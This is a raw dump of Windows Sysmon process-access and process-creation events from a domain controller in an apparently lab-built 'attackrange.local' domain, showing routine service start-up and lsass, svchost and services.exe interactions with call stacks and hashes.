09:09:35.384{A5F018FF-28BD-5F80-0A00-000000007F01}8522468C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001241Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.351{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe12.0System activity monitorSysinternals SysmonSysinternals - www.sysinternals.com-C:\Windows\sysmon64.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=0475D48604B7C8E7D9DD7605B6A5930F,SHA256=55BAD23D049A2FD801B8DECDC5D960D4E27D7F92541E8B37557B7495CA5561A2,IMPHASH=49AAA307415968B34D3FD1A72DEE6C71{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001240Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.379{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001239Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.379{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001238Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.379{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001237Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.379{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001236Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.378{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001235Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.378{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001234Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.374{A5F018FF-28BD-5F80-0A00-000000007F01}852928C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3400-000000007F01}2448C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001233Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.373{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3400-000000007F01}2448C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001232Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.371{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001231Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.370{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001230Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.370{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001229Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.370{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\system32\dns.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001228Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.369{A5F018FF-28BD-5F80-0A00-000000007F01}8521620C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\system32\dns.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001227Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.338{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\System32\dns.exe10.0.14393.3930 (rs1_release.200901-1914)Domain Name System (DNS) ServerMicrosoft® Windows® Operating SystemMicrosoft Corporationdns.exeC:\Windows\system32\dns.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=9D6D2A8F016923E865F944F5505CAFE6,SHA256=B48220FB5B78641ACF5566E798374E9C51FED61CE0559843364E7BD664C30864,IMPHASH=F11D7ACAC98040FCC69808598F92C5FA{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.366{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3400-000000007F01}2448C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.365{A5F018FF-28BD-5F80-0A00-000000007F01}8522620C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3400-000000007F01}2448C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+52f1|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.365{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3200-000000007F01}2656C:\Windows\System32\ismserv.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.364{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3200-000000007F01}2656C:\Windows\System32\ismserv.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.362{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C